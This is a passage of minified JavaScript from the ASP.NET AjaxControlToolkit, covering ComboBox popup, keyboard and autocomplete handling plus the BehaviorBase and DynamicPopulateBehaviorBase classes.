j=document.createElement("ul");a.get_element().appendChild(j);a.set_optionListControl(j)}if(Sys.Browser.agent===Sys.Browser.Safari||Sys.Browser.agent===Sys.Browser.WebKit){a.get_element().removeChild(a.get_optionListControl());var f=a.get_element().parentNode;while(typeof f!=typeof document.forms[0])f=f.parentNode;var i=document.createElement("div");i.className=a.get_element().className;i.appendChild(a.get_optionListControl());f.appendChild(i)}var g=a.get_optionListControl().style;g.display="block";g.zIndex="10000";a._optionListItems=[];for(var k=a.get_optionListControl().childNodes,h=0;h<k.length;h++){var c=k[h];if(c.tagName==undefined||c.tagName.toUpperCase()!="LI"){a.get_optionListControl().removeChild(c);h--;continue}var l={},b=c.innerHTML.trim(),d=b.indexOf("\r");while(d>=0){b=b.substring(0,d).trim()+" "+b.substring(d+1,b.length).trim();d=b.indexOf("\r")}var e=b.indexOf("\n");while(e>=0){b=b.substring(0,e).trim()+" "+b.substring(e+1,b.length).trim();e=b.indexOf("\n")}b=b.replace("&amp;","&").replace("&quot;",'"').replace("&gt;",">").replace("&lt;","<");l.text=b.trim();Array.add(a._optionListItems,l);a.initializeOptionListItem(c)}g.width=a._getOptionListBounds().width+"px";g.width="0px";a._popupBehavior=$create(AjaxControlToolkit.PopupBehavior,{id:a.get_id()+"_PopupBehavior",parentElement:a.get_textBoxControl(),positioningMode:AjaxControlToolkit.PositioningMode.BottomLeft},null,null,a.get_optionListControl());a._popupBehavior.add_showing(a._popupShowingHandler);a._popupBehavior.add_shown(a._popupShownHandler);a._popupBehavior.add_hiding(a._popupHidingHandler);if(a.get_selectedIndex()>=0){a._highlightListItem(a.get_selectedIndex());a.get_textBoxControl().value=a._optionListItems[a.get_selectedIndex()].text}else a.get_textBoxControl().text="";a._popupShowing();a.get_optionListControl().style.display="none"},initializeOptionListItem:function(a){a._textIsEmpty=false;if(a.innerHTML.length<1){a.innerHTML="&nbsp;";a._textIsEmpty=true}},_popupShowing:function(){var l="hidden",c=this,d=c._getWindowBounds(),e=Sys.UI.DomElement.getBounds(c.get_comboTableControl()),k=c._getOptionListBounds(),o=30,u=d.y+d.height/2,t=e.y+e.height,s=d.x+d.width/2,r=e.x+e.width/2,b=e.y-d.y,j="Top";if(t<=u){j="Bottom";b=d.height-e.height-b}var m=c._getOptionListItemHeight();if(b>=k.height)b=k.height;else b=m*(Math.floor(b/m)-2);var q=b/m,n=q<c._optionListItems.length,p=20;if(j=="Top"&&b<d.height-e.y)j="Bottom";var a=e.x-d.x,i="Left";if(r<=s)a=d.width-a;else{i="Right";a=e.width+a}a-=o;var f=k.width;if(n){f+=p;if(a>=f)a=f}else if(a>=f)a=f;if(i=="Right"&&a<d.width-e.x)i="Left";if(b<0)b=0;if(a<0)a=0;var g=c.get_optionListControl().style;g.height=b+"px";g.width=a+"px";if(n){g.overflow="auto";g.overflowX=l}else g.overflow=l;var h=j+i;if(h=="BottomLeft")c._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft);else if(h=="BottomRight")c._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomRight);else if(h=="TopLeft")c._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);else h=="TopRight"&&c._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopRight);c.get_optionListControl().style.visibility=l},_popupShown:function(){var a=this;a.get_optionListControl().style.display="block";var f=Sys.UI.DomElement.getBounds(a.get_comboTableControl()),d=Sys.UI.DomElement.getBounds(a.get_optionListControl()),b=Sys.UI.DomElement.getBounds(a.get_textBoxControl()),e=d.y,c;if(a._popupBehavior.get_positioningMode()===AjaxControlToolkit.PositioningMode.BottomLeft||a._popupBehavior.get_positioningMode()===AjaxControlToolkit.PositioningMode.TopLeft)c=b.x;else if(a._popupBehavior.get_positioningMode()===AjaxControlToolkit.PositioningMode.BottomRight||a._popupBehavior.get_positioningMode()===AjaxControlToolkit.PositioningMode.TopRight)c=b.x-(d.width-b.width);Sys.UI.DomElement.setLocation(a.get_optionListControl(),c,e);a._ensureHighlightedIndex();a._ensureScrollTop();a.get_optionListControl().style.visibility="visible"},_popupHiding:function(){this._highlightSuggestedItem=false;this.get_optionListControl().style.display="none";this.get_optionListControl().style.visibility="hidden"},_onButtonClick:function(b){var a=this;if(a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.Simple)a._popupBehavior.show();else if(a._popupBehavior._visible)a._popupBehavior.hide();else a._popupBehavior.show();b.preventDefault();b.stopPropagation();return false},_onButtonBlur:function(){var a=this;if(a.get_autoPostBack()==true&&!a._doingPostBack&&a._originalSelectedIndex!=a.get_selectedIndex()){a._doingPostBack=true;__doPostBack(a.get_element().id,"")}},_onButtonKeyDown:function(a){var b=this;if(a.keyCode==Sys.UI.Key.tab||a.keyCode==16)return true;if(!b._popupBehavior._visible&&(a.keyCode==Sys.UI.Key.enter||a.keyCode==Sys.UI.Key.down))b._popupBehavior.show();else b._popupBehavior._visible&&(a.keyCode==Sys.UI.Key.enter||a.keyCode==Sys.UI.Key.up)&&b._popupBehavior.hide();a.stopPropagation();a.preventDefault();var c=b.get_textBoxControl().id;setTimeout(function(){document.getElementById(c).focus()},0);return false},_onButtonKeyPress:function(a){if(a.charCode==Sys.UI.Key.tab||a.charCode==16)return true;a.stopPropagation();a.preventDefault();return false},_onListMouseWheel:function(b){var d="undefined",a=this._thisPrototype;if(typeof a===d)a=this;var c;if(typeof this._thisPrototype===d)c=b.rawEvent.wheelDelta>1?-1:1;else c=b.detail>=1?1:-1;var f=a._getOptionListItemHeight()*c,e=a.get_optionListControl().scrollTop+f;a.get_optionListControl().scrollTop=e;b.stopPropagation();b.preventDefault();return false},_onListMouseOver:function(c){if(c.target!==this.get_optionListControl())for(var d=c.target,b=this.get_optionListControl().childNodes,a=0;a<b.length;++a)if(d===b[a]){this._highlightListItem(a,true);break}},_onListMouseOut:function(){var a=this;a._popupBehavior._visible&&a.get_autoCompleteMode()==AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend&&a._highlightListItem(a._highlightedIndex,false)},_onListMouseDown:function(b){var a=this;if(b.target==a.get_optionListControl()||b.target.tagName=="scrollbar")return true;if(b.target!==a.get_optionListControl()){var d=a.get_optionListControl().childNodes[a._highlightedIndex],c=a._optionListItems[a._highlightedIndex].text;a.get_textBoxControl().value=c;a.set_selectedIndex(a._highlightedIndex);a._supressFocusHide=false;a._handleTextBoxFocus(null)}else return true;b.preventDefault();b.stopPropagation();return false},_onListClick:function(a){if(a.target==this.get_optionListControl())return true;a.preventDefault();a.stopPropagation();return false},_onListDrag:function(a){a.preventDefault();a.stopPropagation();return false},_onListSelectStart:function(a){a.preventDefault();a.stopPropagation();return false},_onTextBoxClick:function(a){this.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.Simple&&this._popupBehavior.show();a.preventDefault();a.stopPropagation();return false},_onTextBoxFocus:function(a){this._handleTextBoxFocus(a)},_onTextBoxBlur:function(){var a=this;for(var d=a.get_textBoxControl().value.trim(),b=-3,c=0;c<a._optionListItems.length;c++){var e=a._optionListItems[c];if(a._isExactMatch(e.text,d)){b=c;break}}if(a._highlightSuggestedItem==true&&a._highlightedIndex!=null&&a._highlightedIndex>=0){a.set_selectedIndex(a._highlightedIndex);a.get_textBoxControl().value=a._optionListItems[a.get_selectedIndex()].text}else if(b==-3&&d.length>0&&a.get_dropDownStyle()!=AjaxControlToolkit.ComboBoxStyle.DropDownList)a.set_selectedIndex(-2);else if(a._optionListItems.length<1&&(d==""||a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.DropDownList)){a.set_selectedIndex(-1);a.get_textBoxControl().value=""}else if(a._optionListItems.length>=0&&b==-3&&a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.DropDownList){a.set_selectedIndex(0);a.get_textBoxControl().value=a._optionListItems[0].text}else if(b>=0){a.set_selectedIndex(b);a.get_textBoxControl().value=a._optionListItems[b].text}a._popupBehavior.hide();if(a.get_autoPostBack()==true&&!a._doingPostBack&&a._originalSelectedIndex!=a.get_selectedIndex()){a._doingPostBack=true;__doPostBack(a.get_element().id,"")}},_onTextBoxKeyDown:function(a){var c=this._handleEnterKey(a);if(c!=null)return c;this._handleArrowKey(a);var b=this._handleErasureKeys(a);if(b!=null)return b;return true},_onTextBoxKeyPress:function(c){var g=null,a=this,l=a._handleEnterKey(c);if(l!=g)return l;var k=a._handleArrowKey(c);if(k!=g)return k;var i=a._handleNonCharacterKey(c);if(i!=g)return i;a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.Simple&&!a._popupBehavior._visible&&a._popupBehavior.show();if(a.get_selectedIndex()==-1&&a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.DropDownList){a.get_textBoxControl().value="";c.preventDefault();c.stopPropagation();return false}var b=a._getTextSelectionInfo(a.get_textBoxControl(),c),e=b.selectionStart,f=b.selectionEnd,m=b.selectionPrefix+b.typedCharacter+b.selectionText.substring(1)+b.selectionSuffix,d=b.selectionPrefix+b.typedCharacter,h=a._suggestIndex(m,d);if(a.get_autoCompleteMode()==AjaxControlToolkit.ComboBoxAutoCompleteMode.Suggest||a.get_autoCompleteMode()==AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend){a._highlightSuggestedItem=true;!a._popupBehavior._visible&&a._popupBehavior.show()}if(h>=0)if(a.get_autoCompleteMode()==AjaxControlToolkit.ComboBoxAutoCompleteMode.Append||a.get_autoCompleteMode()==AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend){a.get_textBoxControl().value=a._optionListItems[h].text;e=b.selectionStart+1;f=a.get_textBoxControl().value.length}else{a.get_textBoxControl().value=a._optionListItems[h].text.substring(0,d.length);e=a.get_textBoxControl().value.length;f=a.get_textBoxControl().value.length}else if(a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.Simple||a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.DropDown){a.get_textBoxControl().value=d;e=d.length;f=d.length}var j=a._handleErasureKeys(c);if(j!=g)return j;a._ensureHighlightedIndex();a._ensureScrollTop();a._setTextSelectionRange(a.get_textBoxControl(),e,f);c.preventDefault();c.stopPropagation();return false},_onDocumentClick:function(){this._popupBehavior._visible&&this._popupBehavior.hide()},_onDocumentMouseWheel:function(){var c="undefined",a=this,d=a.ajax__combobox_prototypes;if(typeof d===c)d=a;if(typeof a.ajax__combobox_prototypes===c)a._popupBehavior.hide();else for(var b=0;b<a.ajax__combobox_prototypes.length;b++)a.ajax__combobox_prototypes[b]._popupBehavior.hide();return true},_handleTextBoxFocus:function(b){var a=this;if(!a._supressFocusHide&&a._popupBehavior._visible){a._popupBehavior.hide();a._supressFocusHide=true;if(a.get_autoPostBack()&&!a._doingPostBack&&a._originalSelectedIndex!=a.get_selectedIndex()){a._doingPostBack=true;__doPostBack(a.get_element().id,"")}}a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.Simple&&a._popupBehavior.show();a._setTextSelectionRange(a.get_textBoxControl(),0,a.get_textBoxControl().value.length);if(b!=null){b.preventDefault();b.stopPropagation()}},_highlightListItem:function(b,d){var a=this;if(b==undefined||b<0){a._highlightedIndex!=undefined&&a._highlightedIndex>=0&&a._highlightListItem(a._highlightedIndex,false);return}var e=a.get_optionListControl().childNodes,c=e[b];if(d==true){if(a._highlightedIndex==b)return;if(b>=0)if(a.get_listItemHoverCssClass()==undefined||a.get_listItemHoverCssClass()==""){c.style.backgroundColor="Highlight";c.style.color="HighlightText"}else c.className=a.get_listItemHoverCssClass;a._highlightedIndex!=null&&a._highlightedIndex!=b&&a._highlightedIndex>=0&&a._highlightListItem(a._highlightedIndex,false);a._highlightedIndex=b}else{if(a.get_listItemHoverCssClass()==undefined||a.get_listItemHoverCssClass()==""){c.style.backgroundColor="";c.style.color=""}else c.className="";if(b==a._highlightedIndex)a._highlightedIndex=-1}},_suggestIndex:function(g,d){var e=this;for(var f=-1,a=false,c=false,b=0;b<e._optionListItems.length;b++){itemText=e._optionListItems[b].text;if(itemText.length<1)continue;if(itemText.substring(0,1).toLowerCase()!=d.substring(0,1).toLowerCase())continue;var i=itemText.substring(0,g.length);c=i==g;if(!c&&!e.get_caseSensitive())c=i.toLowerCase()==g.toLowerCase();if(c){f=b;break}else if(!a){var h=itemText.substring(0,d.length);a=h==d;if(!a&&!e.get_caseSensitive())a=h.toLowerCase()==d.toLowerCase();if(a)f=b}}return f},_getKeyboardCode:function(a){if(a.type=="keypress")return a.charCode;else if(a.type=="keydown")return a.keyCode;return undefined},_handleArrowKey:function(b){var a=this;if(b.shiftKey==true)return null;var e=a._getKeyboardCode(b);if(e==Sys.UI.Key.up||e==Sys.UI.Key.down){if(a._popupBehavior._visible){var d=e-39;if(d==-1&&a._highlightedIndex>0||d==1&&a._highlightedIndex<a._optionListItems.length-1){var c=a._highlightedIndex+d;a.get_textBoxControl().value=a._optionListItems[c].text;a._highlightListItem(c,true);a.set_selectedIndex(c);a._ensureScrollTop()}}else a._popupBehavior.show();if(b.type=="keypress"){b.preventDefault();b.stopPropagation();return false}return true}return null},_handleEnterKey:function(b){var a=this,c=a._getKeyboardCode(b);if(c==Sys.UI.Key.enter){if(a._popupBehavior._visible){if(a._highlightedIndex>=0){a.get_textBoxControl().value=a._optionListItems[a._highlightedIndex].text;a.set_selectedIndex(a._highlightedIndex)}a._popupBehavior.hide();b.preventDefault();b.stopPropagation();return false}else if(a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.Simple||a.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.DropDown)return true;else if(a._highlightedIndex==a.get_selectedIndex())return true;b.preventDefault();b.stopPropagation();return false}return null},_handleErasureKeys:function(d){var b=this,j=b._getKeyboardCode(d),h=j==Sys.UI.Key.backspace,g=j==Sys.UI.Key.del;if(typeof window.event==="undefined"&&d.type=="keypress")g=d.rawEvent.keyCode==46;if(h||g){var a=b._getTextSelectionInfo(b.get_textBoxControl(),d),e,f;if(a.selectionStart<a.selectionEnd){b.get_textBoxControl().value=a.selectionPrefix+a.selectionSuffix;e=a.selectionStart;f=a.selectionStart}else if(a.selectionStart==a.selectionEnd){var c;if(h&&a.selectionStart>0){var i=1;if(a.selectionPrefix.charCodeAt(a.selectionPrefix.length-1)==8)i=2;c=a.selectionPrefix.substr(0,a.selectionPrefix.length-i);c+=a.selectionSuffix;b.get_textBoxControl().value=c;e=a.selectionStart-1;f=a.selectionStart-1}else if(g&&a.selectionStart<a.textBoxValue.length){c=a.selectionSuffix;c=a.selectionPrefix+c.substr(1,a.selectionSuffix.length-1);b.get_textBoxControl().value=c;e=a.selectionStart;f=a.selectionStart;b._setTextSelectionRange(b.get_textBoxControl(),a.selectionStart,a.selectionStart)}}b._ensureHighlightedIndex();b._ensureScrollTop();b._setTextSelectionRange(b.get_textBoxControl(),e,f);if((b.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.Simple||b.get_dropDownStyle()==AjaxControlToolkit.ComboBoxStyle.DropDown)&&(b.get_autoCompleteMode()==AjaxControlToolkit.ComboBoxAutoCompleteMode.Suggest||b.get_autoCompleteMode()==AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend)&&b._highlightedIndex>=0){var k=b._isExactMatch(b._optionListItems[b._highlightedIndex].text,b.get_textBoxControl().value);!k&&b._highlightListItem(b._highlightedIndex,false)}d.preventDefault();d.stopPropagation();return false}return null},_handleNonCharacterKey:function(a){var b=this,c=b._getKeyboardCode(a),e=c==Sys.UI.Key.backspace,d=c==Sys.UI.Key.del;if(a.type=="keypress")d=c==46;if(e||d)return null;if(b._isNonCharacterKey(a)){if(c==Sys.UI.Key.esc){b._popupBehavior.hide();b.get_textBoxControl().blur();a.preventDefault();a.stopPropagation();return false}return true}return null},_isNonCharacterKey:function(c){var b=true,a=this._getKeyboardCode(c);if(a==Sys.UI.Key.enter||a==Sys.UI.Key.esc)return b;else if(Sys.Browser.agent==Sys.Browser.Safari&&Sys.Browser.version<500){if(a==8||a==9||a==63272||a==63276||a==63277||a==63275||a==63273||a==63234||a==63235||a>=63236&&a<=63243||a==63248)return b}else if(Sys.Browser.agent==Sys.Browser.WebKit){if(a==8||a==9||a==19||a==33||a==34||a==35||a==36||a==37||a==39||a==45||a==46||a==91||a==92||a==93||a==113||a==115||a==118||a==119||a==120||a==122||a==145)return b}else if(Sys.Browser.agent!=Sys.Browser.InternetExplorer)if(a==8||a==9||a==33||a==34||a==35||a==36||a==37||a==39||a==45||a==46){if(!c.shiftKey)return b}else if(a==145)return b;else if(a==19)return b;else if(Sys.Browser.agent==Sys.Browser.Opera){if(a==0||a==16||a==17)return b}else if(Sys.Browser.agent==Sys.Browser.Firefox)if(a==91||a==92||a==93)return b;return false},_ensureScrollTop:function(){var a=this;if(a._highlightedIndex>=0){var b=a._getOptionListItemHeight(),c=b*a._highlightedIndex,d=a.get_optionListControl().scrollTop+a.get_optionListControl().clientHeight;if(c<=a.get_optionListControl().scrollTop||c>=d)a.get_optionListControl().scrollTop=a._highlightedIndex*b}},_ensureSelectedIndex:function(){var a=this,b=a.get_hiddenFieldControl().value;if(b==""){b=a._optionListItems.length>0?0:-1;a.get_hiddenFieldControl().value=b.toString()}if(a._originalSelectedIndex==null)a._originalSelectedIndex=parseInt(b)},_ensureHighlightedIndex:function(){var a=this,c=a.get_textBoxControl().value;if(a._highlightedIndex!=null&&a._highlightedIndex>=0&&a._isExactMatch(a._optionListItems[a._highlightedIndex].text,c))return;for(var d=-1,f=false,b=0;b<a._optionListItems.length;b++){var e=a._optionListItems[b].text;if(a._isExactMatch(e,c)){a._highlightListItem(b,true);f=true;break}else if(d<0&&a._highlightSuggestedItem)if(a._isPrefixMatch(e,c))d=b}!f&&a._highlightListItem(d,true)},_isExactMatch:function(b,c){var a=b==c;if(!a&&!this.get_caseSensitive())a=b.toLowerCase()==c.toLowerCase();return a},_isPrefixMatch:function(b,a){return this._isExactMatch(b.substring(0,a.length),a)},_setTextSelectionRange:function(d,b,c){var e="character",f=this._getTextSelectionStrategy();if(f==AjaxControlToolkit.ComboBoxTextSelectionStrategy.Microsoft){var a=d.createTextRange();a.collapse(true);a.moveEnd(e,c);a.moveStart(e,b);a.select();Sys.Browser.agent==Sys.Browser.Opera&&d.setSelectionRange(b,c)}else f==AjaxControlToolkit.ComboBoxTextSelectionStrategy.W3C&&d.setSelectionRange(b,c)},_getTextSelectionStrategy:function(){var a=this;if(a._textSelectionStrategy==null)if(a.get_textBoxControl().createTextRange)a._textSelectionStrategy=AjaxControlToolkit.ComboBoxTextSelectionStrategy.Microsoft;else if(a.get_textBoxControl().setSelectionRange)a._textSelectionStrategy=AjaxControlToolkit.ComboBoxTextSelectionStrategy.W3C;else a._textSelectionStrategy=AjaxControlToolkit.ComboBoxTextSelectionStrategy.Unknown;return a._textSelectionStrategy},_getTextSelectionInfo:function(b,e){var c="character",a={};a.strategy=this._getTextSelectionStrategy();if(a.strategy==AjaxControlToolkit.ComboBoxTextSelectionStrategy.Microsoft){var d=document.selection.createRange();a.selectionStart=0;a.selectionEnd=b.value.length;while(d.moveStart(c,-1)!=0)a.selectionStart++;while(d.moveEnd(c,1)!=0)a.selectionEnd--}else if(a.strategy==AjaxControlToolkit.ComboBoxTextSelectionStrategy.W3C){a.selectionStart=b.selectionStart;a.selectionEnd=b.selectionEnd}a.typedCharacter=String.fromCharCode(e.charCode);a.textBoxValue=b.value;a.selectionPrefix=a.textBoxValue.length>=a.selectionStart?a.textBoxValue.substring(0,a.selectionStart):"";a.selectionText=a.textBoxValue.length>=a.selectionEnd?a.textBoxValue.substring(a.selectionStart,a.selectionEnd):"";a.selectionSuffix=a.textBoxValue.length>=a.selectionEnd?a.textBoxValue.substring(a.selectionEnd,a.textBoxValue.length):"";a.selectionTextFirst=a.selectionText.substring(0,1);return a},_getOptionListItemHeight:function(){var a=this;if(a._optionListItemHeight==null&&a.get_optionListControl().scrollHeight>0)a._optionListItemHeight=Math.round(a.get_optionListControl().scrollHeight/a._optionListItems.length);else if(Sys.Browser.agent===Sys.Browser.InternetExplorer&&Sys.Browser.version<7&&Math.round(a.get_optionListControl().scrollHeight/a._optionListItems.length)<a._optionListItemHeight)a._optionListItemHeight=Math.round(a.get_optionListControl().scrollHeight/a._optionListItems.length);return a._optionListItemHeight},_getOptionListBounds:function(){var a={width:this._getOptionListWidth(),height:this._getOptionListHeight()};return a},_getOptionListHeight:function(){var a=this;if(a._optionListHeight==null||a._getOptionListItemHeight()*a._optionListItems.length<a._optionListHeight)a._optionListHeight=a._getOptionListItemHeight()*a._optionListItems.length;if(a._optionListHeight<0)a._optionListHeight=0;return a._optionListHeight},_getOptionListWidth:function(){var a=this;if(a._optionListWidth==null){var h=1,g=1,f=0,e=0,c=a.get_optionListControl().style;c.overflow="auto";var b=a.get_comboTableControl().offsetWidth;b-=h+g;if(b<0)b=0;var d=c.width;c.width=b+"px";if(a.get_comboTableControl().offsetWidth<a.get_optionListControl().scrollWidth)b=a.get_optionListControl().scrollWidth+e+f;c.overflow="hidden";c.width=d;a._optionListWidth=b}if(a._optionListWidth<0)a._optionListWidth=0;return a._optionListWidth},_getWindowBounds:function(){var a=this,b={x:a._getScrollLeft(),y:a._getScrollTop(),width:a._getWindowWidth(),height:a._getWindowHeight()};return b},_getWindowHeight:function(){var a=0;if(typeof window.innerHeight=="number")a=window.innerHeight;else if(document.documentElement&&document.documentElement.clientHeight)a=document.documentElement.clientHeight;else if(document.body&&document.body.clientHeight)a=document.body.clientHeight;return a},_getWindowWidth:function(){var a=0;if(typeof window.innerWidth=="number")a=window.innerWidth;else if(document.documentElement&&document.documentElement.clientWidth)a=document.documentElement.clientWidth;else if(document.body&&document.body.clientWidth)a=document.body.clientWidth;return a},_getScrollTop:function(){var a=0;if(typeof window.pageYOffset=="number")a=window.pageYOffset;if(document.body&&document.body.scrollTop)a=document.body.scrollTop;else if(document.documentElement&&document.documentElement.scrollTop)a=document.documentElement.scrollTop;return a},_getScrollLeft:function(){var a=0;if(typeof window.pageXOffset=="number")a=window.pageXOffset;else if(document.body&&document.body.scrollLeft)a=document.body.scrollLeft;else if(document.documentElement&&document.documentElement.scrollLeft)a=document.documentElement.scrollLeft;return a},set_comboTableControl:function(a){if(this._comboTableControl!==a){this._comboTableControl=a;this.raisePropertyChanged("comboTableControl")}},get_comboTableControl:function(){return this._comboTableControl},set_textBoxControl:function(a){if(this._textBoxControl!==a){this._textBoxControl=a;this.raisePropertyChanged("textBoxControl")}},get_textBoxControl:function(){return this._textBoxControl},set_buttonControl:function(a){if(this._buttonControl!==a){this._buttonControl=a;this.raisePropertyChanged("buttonControl")}},get_buttonControl:function(){return this._buttonControl},set_optionListControl:function(a){if(this._optionListControl!==a){this._optionListControl=a;this.raisePropertyChanged("optionListControl")}},get_optionListControl:function(){return this._optionListControl},set_hiddenFieldControl:function(a){if(this._hiddenFieldControl!==a){this._hiddenFieldControl=a;this.raisePropertyChanged("hiddenFieldControl")}},get_hiddenFieldControl:function(){return this._hiddenFieldControl},set_selectedIndex:function(b){var a=this;if(a.get_hiddenFieldControl().value!==b.toString()){a.get_hiddenFieldControl().value=b.toString();a._ensureSelectedIndex();a.raisePropertyChanged("selectedIndex")}},get_selectedIndex:function(){this._ensureSelectedIndex();var a=this.get_hiddenFieldControl().value;return parseInt(a)},set_autoPostBack:function(a){if(this._autoPostBack!==a){this._autoPostBack=a;this.raisePropertyChanged("autoPostBack")}},get_autoPostBack:function(){return this._autoPostBack},set_autoCompleteMode:function(a){if(this._autoCompleteMode!==a){this._autoCompleteMode=a;this.raisePropertyChanged("autoCompleteMode")}},get_autoCompleteMode:function(){return this._autoCompleteMode},set_dropDownStyle:function(a){if(this._dropDownStyle!==a){this._dropDownStyle=a;this.raisePropertyChanged("dropDownStyle")}},get_dropDownStyle:function(){return this._dropDownStyle},set_caseSensitive:function(a){if(this._caseSensitive!==a){this._caseSensitive=a;this.raisePropertyChanged("caseSensitive")}},get_caseSensitive:function(){return this._caseSensitive},set_listItemHoverCssClass:function(a){if(this._listItemHoverCssClass!==a){this._listItemHoverCssClass=a;this.raisePropertyChanged("listItemHoverCssClass")}},get_listItemHoverCssClass:function(){return this._listItemHoverCssClass}};AjaxControlToolkit.ComboBox.registerClass("AjaxControlToolkit.ComboBox",Sys.UI.Control);�&Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.BehaviorBase=function(c){var b=null,a=this;AjaxControlToolkit.BehaviorBase.initializeBase(a,[c]);a._clientStateFieldID=b;a._pageRequestManager=b;a._partialUpdateBeginRequestHandler=b;a._partialUpdateEndRequestHandler=b};AjaxControlToolkit.BehaviorBase.prototype={initialize:function(){AjaxControlToolkit.BehaviorBase.callBaseMethod(this,"initialize")},dispose:function(){var a=this;AjaxControlToolkit.BehaviorBase.callBaseMethod(a,"dispose");if(a._pageRequestManager){if(a._partialUpdateBeginRequestHandler){a._pageRequestManager.remove_beginRequest(a._partialUpdateBeginRequestHandler);a._partialUpdateBeginRequestHandler=null}if(a._partialUpdateEndRequestHandler){a._pageRequestManager.remove_endRequest(a._partialUpdateEndRequestHandler);a._partialUpdateEndRequestHandler=null}a._pageRequestManager=null}},get_ClientStateFieldID:function(){return this._clientStateFieldID},set_ClientStateFieldID:function(a){if(this._clientStateFieldID!=a){this._clientStateFieldID=a;this.raisePropertyChanged("ClientStateFieldID")}},get_ClientState:function(){if(this._clientStateFieldID){var a=document.getElementById(this._clientStateFieldID);if(a)return a.value}return null},set_ClientState:function(b){if(this._clientStateFieldID){var a=document.getElementById(this._clientStateFieldID);if(a)a.value=b}},registerPartialUpdateEvents:function(){var a=this;if(Sys&&Sys.WebForms&&Sys.WebForms.PageRequestManager){a._pageRequestManager=Sys.WebForms.PageRequestManager.getInstance();if(a._pageRequestManager){a._partialUpdateBeginRequestHandler=Function.createDelegate(a,a._partialUpdateBeginRequest);a._pageRequestManager.add_beginRequest(a._partialUpdateBeginRequestHandler);a._partialUpdateEndRequestHandler=Function.createDelegate(a,a._partialUpdateEndRequest);a._pageRequestManager.add_endRequest(a._partialUpdateEndRequestHandler)}}},_partialUpdateBeginRequest:function(){},_partialUpdateEndRequest:function(){}};AjaxControlToolkit.BehaviorBase.registerClass("AjaxControlToolkit.BehaviorBase",Sys.UI.Behavior);AjaxControlToolkit.DynamicPopulateBehaviorBase=function(c){var b=null,a=this;AjaxControlToolkit.DynamicPopulateBehaviorBase.initializeBase(a,[c]);a._DynamicControlID=b;a._DynamicContextKey=b;a._DynamicServicePath=b;a._DynamicServiceMethod=b;a._cacheDynamicResults=false;a._dynamicPopulateBehavior=b;a._populatingHandler=b;a._populatedHandler=b};AjaxControlToolkit.DynamicPopulateBehaviorBase.prototype={initialize:function(){var a=this;AjaxControlToolkit.DynamicPopulateBehaviorBase.callBaseMethod(a,"initialize");a._populatingHandler=Function.createDelegate(a,a._onPopulating);a._populatedHandler=Function.createDelegate(a,a._onPopulated)},dispose:function(){var a=this;if(a._populatedHandler){a._dynamicPopulateBehavior&&a._dynamicPopulateBehavior.remove_populated(a._populatedHandler);a._populatedHandler=null}if(a._populatingHandler){a._dynamicPopulateBehavior&&a._dynamicPopulateBehavior.remove_populating(a._populatingHandler);a._populatingHandler=null}if(a._dynamicPopulateBehavior){a._dynamicPopulateBehavior.dispose();a._dynamicPopulateBehavior=null}AjaxControlToolkit.DynamicPopulateBehaviorBase.callBaseMethod(a,"dispose")},populate:function(b){var a=this;if(a._dynamicPopulateBehavior&&a._dynamicPopulateBehavior.get_element()!=$get(a._DynamicControlID)){a._dynamicPopulateBehavior.dispose();a._dynamicPopulateBehavior=null}if(!a._dynamicPopulateBehavior&&a._DynamicControlID&&a._DynamicServiceMethod){a._dynamicPopulateBehavior=$create(AjaxControlToolkit.DynamicPopulateBehavior,{id:a.get_id()+"_DynamicPopulateBehavior",ContextKey:a._DynamicContextKey,ServicePath:a._DynamicServicePath,ServiceMethod:a._DynamicServiceMethod,cacheDynamicResults:a._cacheDynamicResults},null,null,$get(a._DynamicControlID));a._dynamicPopulateBehavior.add_populating(a._populatingHandler);a._dynamicPopulateBehavior.add_populated(a._populatedHandler)}a._dynamicPopulateBehavior&&a._dynamicPopulateBehavior.populate(b?b:a._DynamicContextKey)},_onPopulating:function(b,a){this.raisePopulating(a)},_onPopulated:function(b,a){this.raisePopulated(a)},get_dynamicControlID:function(){return this._DynamicControlID},get_DynamicControlID:this.get_dynamicControlID,set_dynamicControlID:function(b){var a=this;if(a._DynamicControlID!=b){a._DynamicControlID=b;a.raisePropertyChanged("dynamicControlID");a.raisePropertyChanged("DynamicControlID")}},set_DynamicControlID:this.set_dynamicControlID,get_dynamicContextKey:function(){return this._DynamicContextKey},get_DynamicContextKey:this.get_dynamicContextKey,set_dynamicContextKey:function(b){var a=this;if(a._DynamicContextKey!=b){a._DynamicContextKey=b;a.raisePropertyChanged("dynamicContextKey");a.raisePropertyChanged("DynamicContextKey")}},set_DynamicContextKey:this.set_dynamicContextKey,get_dynamicServicePath:function(){return this._DynamicServicePath},get_DynamicServicePath:this.get_dynamicServicePath,set_dynamicServicePath:function(b){var a=this;if(a._DynamicServicePath!=b){a._DynamicServicePath=b;a.raisePropertyChanged("dynamicServicePath");a.raisePropertyChanged("DynamicServicePath")}},set_DynamicServicePath:this.set_dynamicServicePath,get_dynamicServiceMethod:function(){return this._DynamicServiceMethod},get_DynamicServiceMethod:this.get_dynamicServiceMethod,set_dynamicServiceMethod:function(b){var a=this;if(a._DynamicServiceMethod!=b){a._DynamicServiceMethod=b;a.raisePropertyChanged("dynamicServiceMethod");a.raisePropertyChanged("DynamicServiceMethod")}},set_DynamicServiceMethod:this.set_dynamicServiceMethod,get_cacheDynamicResults:function(){return 